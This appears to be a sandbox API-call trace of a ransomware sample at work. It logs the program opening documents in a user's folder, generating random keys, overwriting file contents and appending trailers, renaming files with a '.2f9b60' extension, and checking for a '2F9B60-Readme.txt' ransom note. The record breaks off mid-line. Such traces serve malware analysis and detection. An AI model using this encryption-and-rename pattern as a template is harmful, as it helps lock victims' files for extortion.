0x0 [0092.016] NtSetInformationFile (FileHandle=0xdb4, IoStatusBlock=0x2161f7f8, FileInformation=0x2161f808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0092.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d030) returned 1 [0092.018] FlushFileBuffers (hFile=0xdb4) returned 1 [0092.083] CloseHandle (hObject=0xdb4) returned 1 [0092.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85ec90 [0092.084] wcscpy (in: _Dest=0x1b85ec90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.084] wcscat (in: _Dest=0x1b85ec90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.084] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0092.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1cd0) returned 1 Thread: id = 488 os_tid = 0xc74 [0091.985] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6sMXGMuiaDsS.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6smxgmuiadss.ppt")) returned 0x20 [0091.985] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6sMXGMuiaDsS.ppt", dwFileAttributes=0x20) returned 1 [0091.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6sMXGMuiaDsS.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6smxgmuiadss.ppt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0091.985] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x2172fc20 | out: lpFileSize=0x2172fc20*=6944) returned 1 [0091.985] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x1b1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.985] ReadFile (in: hFile=0xcfc, lpBuffer=0x2172fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2172fbe8, lpOverlapped=0x0 | out: lpBuffer=0x2172fba0*, lpNumberOfBytesRead=0x2172fbe8*=0x4, lpOverlapped=0x0) returned 1 [0091.986] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0091.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7800 [0091.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0091.987] NtQuerySystemTime (in: CurrentTime=0x2172fae0 | out: CurrentTime=0x2172fae0*=132462176978194000) returned 0x0 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x476e0278 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x5b202ae6 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x7cc9fb67 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x53a01984 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x40c31bbd [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x1534537d [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0xf53db5a [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x5b118182 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x1220c9f4 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x56e256c2 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x7efe2da7 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x684b0e59 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x67f90613 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x2100bcaa [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x2662ed48 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x5b0c2d93 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0xe792d60 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x6d559754 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x33444ca6 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x65313ae5 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x5639ae65 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x3b69b2ee [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0xbe41869 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x5eed44b2 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x75a75691 [0091.987] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x63129665 [0091.988] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x6592a0ba [0091.988] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x6112a893 [0091.988] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x570d2f82 [0091.988] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x62fd5059 [0091.988] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x67192393 [0091.988] RtlRandomEx (in: Seed=0x2172fad0 | out: Seed=0x2172fad0) returned 0x2b6cc36a [0092.046] ReadFile (in: hFile=0xcfc, lpBuffer=0x201885a0, nNumberOfBytesToRead=0x1b20, lpNumberOfBytesRead=0x2172fad0, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesRead=0x2172fad0*=0x1b20, lpOverlapped=0x0) returned 1 [0092.046] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.046] WriteFile (in: hFile=0xcfc, lpBuffer=0x2018c1b0*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2172fad4, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesWritten=0x2172fad4*=0x1b20, lpOverlapped=0x0) returned 1 [0092.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0092.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b230) returned 1 [0092.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0092.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201885a0) returned 1 [0092.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0092.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9ebb0 [0092.091] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.091] WriteFile (in: hFile=0xcfc, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2172fbf0, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2172fbf0*=0x112, lpOverlapped=0x0) returned 1 [0092.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0092.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aff0 [0092.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aff0) returned 1 [0092.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aff0 [0092.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859490 [0092.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859640 [0092.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859640) returned 1 [0092.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0092.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1b82c030 [0092.102] sprintf (in: _Dest=0x1b82c030, _Format="%c%c" | out: _Dest="0c") returned 2 [0092.102] sprintf (in: _Dest=0x1b82c032, _Format="%c%c" | out: _Dest="d6") returned 2 [0092.102] sprintf (in: _Dest=0x1b82c034, _Format="%c%c" | out: _Dest="97") returned 2 [0092.102] sprintf (in: _Dest=0x1b82c036, _Format="%c%c" | out: _Dest="87") returned 2 [0092.102] sprintf (in: _Dest=0x1b82c038, _Format="%c%c" | out: _Dest="72") returned 2 [0092.102] sprintf (in: _Dest=0x1b82c03a, _Format="%c%c" | out: _Dest="8b") returned 2 [0092.102] sprintf (in: _Dest=0x1b82c03c, _Format="%c%c" | out: _Dest="c3") returned 2 [0092.102] sprintf (in: _Dest=0x1b82c03e, _Format="%c%c" | out: _Dest="c8") returned 2 [0092.102] sprintf (in: _Dest=0x1b82c040, _Format="%c%c" | out: _Dest="d2") returned 2 [0092.102] sprintf (in: _Dest=0x1b82c042, _Format="%c%c" | out: _Dest="de") returned 2 [0092.102] sprintf (in: _Dest=0x1b82c044, _Format="%c%c" | out: _Dest="3d") returned 2 [0092.102] sprintf (in: _Dest=0x1b82c046, _Format="%c%c" | out: _Dest="fe") returned 2 [0092.102] sprintf (in: _Dest=0x1b82c048, _Format="%c%c" | out: _Dest="eb") returned 2 [0092.102] sprintf (in: _Dest=0x1b82c04a, _Format="%c%c" | out: _Dest="e1") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c04c, _Format="%c%c" | out: _Dest="eb") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c04e, _Format="%c%c" | out: _Dest="ed") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c050, _Format="%c%c" | out: _Dest="f6") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c052, _Format="%c%c" | out: _Dest="95") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c054, _Format="%c%c" | out: _Dest="5b") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c056, _Format="%c%c" | out: _Dest="80") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c058, _Format="%c%c" | out: _Dest="64") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c05a, _Format="%c%c" | out: _Dest="9a") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c05c, _Format="%c%c" | out: _Dest="d6") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c05e, _Format="%c%c" | out: _Dest="b0") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c060, _Format="%c%c" | out: _Dest="c1") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c062, _Format="%c%c" | out: _Dest="a2") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c064, _Format="%c%c" | out: _Dest="3c") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c066, _Format="%c%c" | out: _Dest="41") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c068, _Format="%c%c" | out: _Dest="ca") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c06a, _Format="%c%c" | out: _Dest="d7") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c06c, _Format="%c%c" | out: _Dest="09") returned 2 [0092.103] sprintf (in: _Dest=0x1b82c06e, _Format="%c%c" | out: _Dest="23") returned 2 [0092.103] RtlInitAnsiString (in: DestinationString=0x2172fc68, SourceString="0cd69787728bc3c8d2de3dfeebe1ebedf6955b80649ad6b0c1a23c41cad70923" | out: DestinationString="0cd69787728bc3c8d2de3dfeebe1ebedf6955b80649ad6b0c1a23c41cad70923") [0092.103] RtlAnsiStringToUnicodeString (in: DestinationString=0x2172fc38, SourceString="0cd69787728bc3c8d2de3dfeebe1ebedf6955b80649ad6b0c1a23c41cad70923", AllocateDestinationString=1 | out: DestinationString="0cd69787728bc3c8d2de3dfeebe1ebedf6955b80649ad6b0c1a23c41cad70923") returned 0x0 [0092.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b784250 [0092.104] wcscat (in: _Dest=0x1b7842e0, _Source="0cd69787728bc3c8" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0cd69787728bc3c8") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0cd69787728bc3c8" [0092.104] wcscat (in: _Dest=0x1b7842e0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0cd69787728bc3c8.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0cd69787728bc3c8.2f9b60" [0092.104] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0cd69787728bc3c8.2f9b60", NtPathName=0x2172fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0cd69787728bc3c8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0092.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce114a0 [0092.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0092.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0092.106] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x2172fc78, FileInformation=0x2172fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2172fc78, FileInformation=0x2172fc88) returned 0x0 [0092.106] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x2172fc78, FileInformation=0x2172fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7842e0) returned 1 [0092.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784250) returned 1 [0092.107] FlushFileBuffers (hFile=0xcfc) returned 1 [0092.111] CloseHandle (hObject=0xcfc) returned 1 [0092.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85e010 [0092.112] wcscpy (in: _Dest=0x1b85e010, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0092.112] wcscat (in: _Dest=0x1b85e010, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0092.112] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0092.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0092.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 Thread: id = 489 os_tid = 0xc78 [0092.121] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8T-qP9fSUo8.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8t-qp9fsuo8.ods")) returned 0x20 [0092.121] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8T-qP9fSUo8.ods", dwFileAttributes=0x20) returned 1 [0092.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8T-qP9fSUo8.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8t-qp9fsuo8.ods"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0092.122] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x2133fc40 | out: lpFileSize=0x2133fc40*=28982) returned 1 [0092.122] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x7132, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.122] ReadFile (in: hFile=0xcfc, lpBuffer=0x2133fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2133fc08, lpOverlapped=0x0 | out: lpBuffer=0x2133fbc0*, lpNumberOfBytesRead=0x2133fc08*=0x4, lpOverlapped=0x0) returned 1 [0092.123] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0092.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aff0 [0092.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0092.123] NtQuerySystemTime (in: CurrentTime=0x2133fb00 | out: CurrentTime=0x2133fb00*=132462176979598000) returned 0x0 [0092.123] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x7b7acf01 [0092.123] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x2ba1559a [0092.123] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0xba218a8 [0092.123] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x392738b9 [0092.123] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x72bab016 [0092.123] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0xc30b1d8 [0092.123] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x693ea168 [0092.123] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x4dbbf8a2 [0092.123] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x2c4742a2 [0092.123] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x1ff47ccf [0092.123] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x43fd563b [0092.123] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x21bba127 [0092.123] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x4a28cf7c [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x4cb99151 [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x7bd10b0c [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x5ce09626 [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x53a01984 [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x725a4249 [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0xec5f2f9 [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x1924cb61 [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x738737cf [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x5a7e7d2e [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x1c892d1c [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x375d8700 [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x77727642 [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x6121b41e [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0xca12754 [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x341396d4 [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x48bdc1c5 [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0xc56c983 [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x53042e70 [0092.124] RtlRandomEx (in: Seed=0x2133faf0 | out: Seed=0x2133faf0) returned 0x1a67a4a6 [0092.135] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.135] ReadFile (in: hFile=0xcfc, lpBuffer=0x201885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2133fb60, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesRead=0x2133fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0092.135] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0092.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0092.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a930) returned 1 [0092.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2018c1b0 [0092.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a930 [0092.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0092.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b230) returned 1 [0092.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0092.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.136] WriteFile (in: hFile=0xcfc, lpBuffer=0x2018c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2133fb60, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesWritten=0x2133fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0092.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0092.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201885a0) returned 1 [0092.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9ebb0 [0092.138] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0092.139] WriteFile (in: hFile=0xcfc, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2133fc10, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2133fc10*=0x110, lpOverlapped=0x0) returned 1 [0092.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0092.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0092.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0092.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0092.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82b4d0 [0092.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad80 [0092.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b6b0 [0092.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b6b0) returned 1 [0092.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0092.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0092.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1b82c030 [0092.141] sprintf (in: _Dest=0x1b82c030, _Format="%c%c" | out: _Dest="28") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c032, _Format="%c%c" | out: _Dest="ad") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c034, _Format="%c%c" | out: _Dest="34") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c036, _Format="%c%c" | out: _Dest="ea") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c038, _Format="%c%c" | out: _Dest="23") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c03a, _Format="%c%c" | out: _Dest="46") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c03c, _Format="%c%c" | out: _Dest="d6") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c03e, _Format="%c%c" | out: _Dest="fa") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c040, _Format="%c%c" | out: _Dest="68") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c042, _Format="%c%c" | out: _Dest="47") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c044, _Format="%c%c" | out: _Dest="0a") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c046, _Format="%c%c" | out: _Dest="f0") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c048, _Format="%c%c" | out: _Dest="ee") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c04a, _Format="%c%c" | out: _Dest="12") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c04c, _Format="%c%c" | out: _Dest="a0") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c04e, _Format="%c%c" | out: _Dest="14") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c050, _Format="%c%c" | out: _Dest="0b") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c052, _Format="%c%c" | out: _Dest="b3") returned 2 [0092.141] sprintf (in: _Dest=0x1b82c054, _Format="%c%c" | out: _Dest="0b") returned 